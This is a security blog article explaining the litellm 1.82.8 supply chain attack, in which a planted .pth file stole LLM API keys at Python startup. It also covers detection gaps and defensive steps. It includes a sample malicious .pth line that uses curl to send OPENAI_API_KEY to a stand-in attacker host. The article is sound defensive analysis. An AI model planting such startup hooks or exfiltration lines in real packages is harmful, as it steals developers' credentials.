· 6 min read ·

When Your LLM Router Becomes a Keylogger: The litellm Supply Chain Attack

Source: simonwillison

Supply chain attacks against Python packages are not new, but the litellm incident stands out for how surgically it was aimed. litellm is a unified LLM API router, the kind of library that ends up in production AI stacks precisely because it touches every provider at once: OpenAI, Anthropic, Cohere, Google, Azure, and dozens more. Whoever planted the malicious litellm_init.pth file in version 1.82.8 knew that. They weren’t targeting a random package; they were targeting the thing sitting between developers and all their API keys simultaneously.

How .pth Files Work, and Why They’re a Recurring Attack Surface

To understand the attack, you need to understand what a .pth file is supposed to do. Python’s site module, which runs automatically during interpreter startup, scans site-packages directories for files ending in .pth. The normal use case is simple: each line in a .pth file adds a path to sys.path, letting packages install themselves into locations Python would otherwise not look.

The dangerous part is a documented exception. From the Python site module documentation:

If a line starts with import, it is executed.

That’s it. Any .pth file installed into site-packages can execute arbitrary Python code before your program even begins. No import required from user code, no explicit invocation. The moment Python starts, the site module runs, and every .pth file in every site-packages directory gets processed.

A minimal malicious .pth file looks like this:

import os; os.system('curl -s https://evil.example.com/collect?k=' + os.environ.get('OPENAI_API_KEY', ''))

That single line, sitting inside a .pth file, runs every time Python starts in that environment. Virtualenv, conda, system Python, it doesn’t matter. If the file is in site-packages, it runs.

This vector has been documented and exploited before. The research paper “Package Managers: Malicious Packages and Dependency Confusion” covers .pth as one of several Python-specific mechanisms that make package-level code execution trivial. Security researchers have flagged it repeatedly. The Python packaging ecosystem has never patched it because it’s a feature, not a bug: legitimate packages like easy-install.pth have used it for decades.

Why litellm Was the Right Target

Understanding the target helps understand the impact. litellm, maintained by BerriAI, is not a toy project. It abstracts over 100+ LLM providers behind a single OpenAI-compatible interface. A typical integration looks like this:

from litellm import completion

response = completion(
    model="gpt-4o",
    messages=[{"role": "user", "content": "Hello"}]
)

Swap "gpt-4o" for "claude-opus-4-6" or "gemini/gemini-pro" and the same call works against Anthropic or Google. The library reads provider credentials from environment variables following standard naming conventions: OPENAI_API_KEY, ANTHROPIC_API_KEY, COHERE_API_KEY, AZURE_OPENAI_API_KEY, and so on.

This is exactly why litellm is a high-value target. Developers who use it tend to have credentials for multiple providers loaded in their environment. A credential stealer doesn’t need to know in advance which providers a victim uses; it can harvest everything and let the attacker sort it out later.

The library is also installed in CI/CD pipelines, in Docker containers, in development environments, and on servers running production inference workloads. Unlike a developer tool that only runs when a human is at the keyboard, litellm often runs in automated contexts where credentials are loaded and the process starts without human observation.

The Attack Mechanism

The litellm_init.pth file was planted in the package distribution for version 1.82.8. The naming is deliberate: litellm_init sounds like a legitimate initialization file the package might use. In a directory full of .py, .so, and configuration files, a .pth file with a plausible name is easy to overlook.

Because .pth processing happens in the site module during interpreter startup, the malicious code ran before any user code, before any logging was initialized, and before any security tooling that hooks into the import system had a chance to observe it. The import statement at the start of the malicious line bypasses import hooks because site processes these files through exec() in the context of the site module itself, not through the normal import machinery.

The payload targeted credentials: environment variables holding API keys, potentially also files like ~/.netrc or local configuration files that some provider SDKs use. The exfiltration used a standard outbound HTTP request, which in most environments generates no alerts because outbound HTTP from a Python process is entirely normal.

What Makes This Hard to Catch

The challenge with .pth-based attacks is that the standard defenses don’t cover them well.

Package pinning and lockfiles protect against version drift but not against a compromised version being pinned. If your requirements.txt or pyproject.toml says litellm==1.82.8 and that version is what gets installed, your tooling has done its job correctly. The compromise happened upstream.

Dependency auditing tools like pip-audit and safety check for known vulnerabilities in package metadata. A newly-introduced malicious file won’t appear in the CVE database until after the community has identified and reported it. By design, there’s a window between introduction and detection.

Code signing in the Python ecosystem is improving but incomplete. PEP 740 introduced attestations for PyPI packages, allowing publishers to cryptographically link a release to a specific build environment. But adoption is not universal, and most install tooling doesn’t yet enforce attestation checks by default.

Runtime security tools like Falco or eBPF-based monitors can catch unexpected network connections from Python processes, but most development and CI environments don’t run them. Even production environments with good runtime monitoring often don’t baseline “which Python processes are allowed to make outbound HTTP requests”, because the answer in most stacks is effectively “all of them”.

The Ecosystem Context

This isn’t the first time the AI tooling space has been targeted. The pace at which new packages in the LLM ecosystem achieve widespread adoption creates persistent pressure on supply chain security. A library can go from zero to a hundred thousand installations in weeks if it solves a real problem well. litellm solved a real problem extremely well. That popularity is exactly what makes it worth compromising.

The pattern is familiar from earlier waves: npm packages targeting Node.js cryptocurrency tooling, rubygems targeting Rails applications, and now PyPI packages targeting AI infrastructure. The attackers follow adoption curves.

PyPI has made real progress on security in recent years. Trusted Publishers let package maintainers configure OIDC-based publishing from CI systems, reducing the risk of credential theft enabling a malicious release. Two-factor authentication is now mandatory for critical packages. But “critical” is defined by download counts, and a package can accumulate significant usage before it crosses whatever threshold the security tooling monitors.

What You Can Do

Audit .pth files in your current environments. On any system where you have Python installed:

find $(python -c "import site; print(' '.join(site.getsitepackages()))") -name '*.pth' | xargs grep -l '^import'

This finds every .pth file that contains an executable import line. Most of them will be legitimate, but reviewing the list takes minutes and you might find surprises.

For production deployments, build container images from a known-good base and pin dependencies at build time. Don’t install packages at container startup. The image build is the point where you can inspect and verify; the running container should not be changing its own dependencies.

Consider network egress filtering for your inference containers. An outbound HTTP request to an unexpected host from a process that should only be talking to specific LLM API endpoints is an anomaly worth detecting. This requires knowing what “expected” looks like for your stack, but that’s a worthwhile exercise regardless of supply chain risk.

Watch for PyPI package provenance attestations as tooling matures. The infrastructure is being built; using it when it becomes practical is worth the minor operational overhead.

The litellm maintainers responded to the incident and the compromised version was yanked from PyPI. But the window between publication and yanking was long enough for installations to occur, and installed packages don’t un-install themselves when a version is yanked. If you were running litellm 1.82.8, rotating any API keys that were present in that environment is not optional.

The Uncomfortable Part

The .pth vector keeps working because it’s built into how Python works, it’s been that way for a long time, and changing it would break things. There’s an open discussion in the Python packaging community about restricting which packages can install executable .pth files, but it has not produced a breaking change. The incentive structure doesn’t favor fixing this: the cost is borne by attackers only if the fix lands, and the cost is borne by the community if the fix lands badly.

In the meantime, the AI tooling ecosystem is expanding fast, adoption curves are steep, and packages that aggregate credentials across many providers are exactly the kind of target that makes a sophisticated attacker’s effort worthwhile. litellm 1.82.8 is unlikely to be the last incident of this kind.

Was this interesting?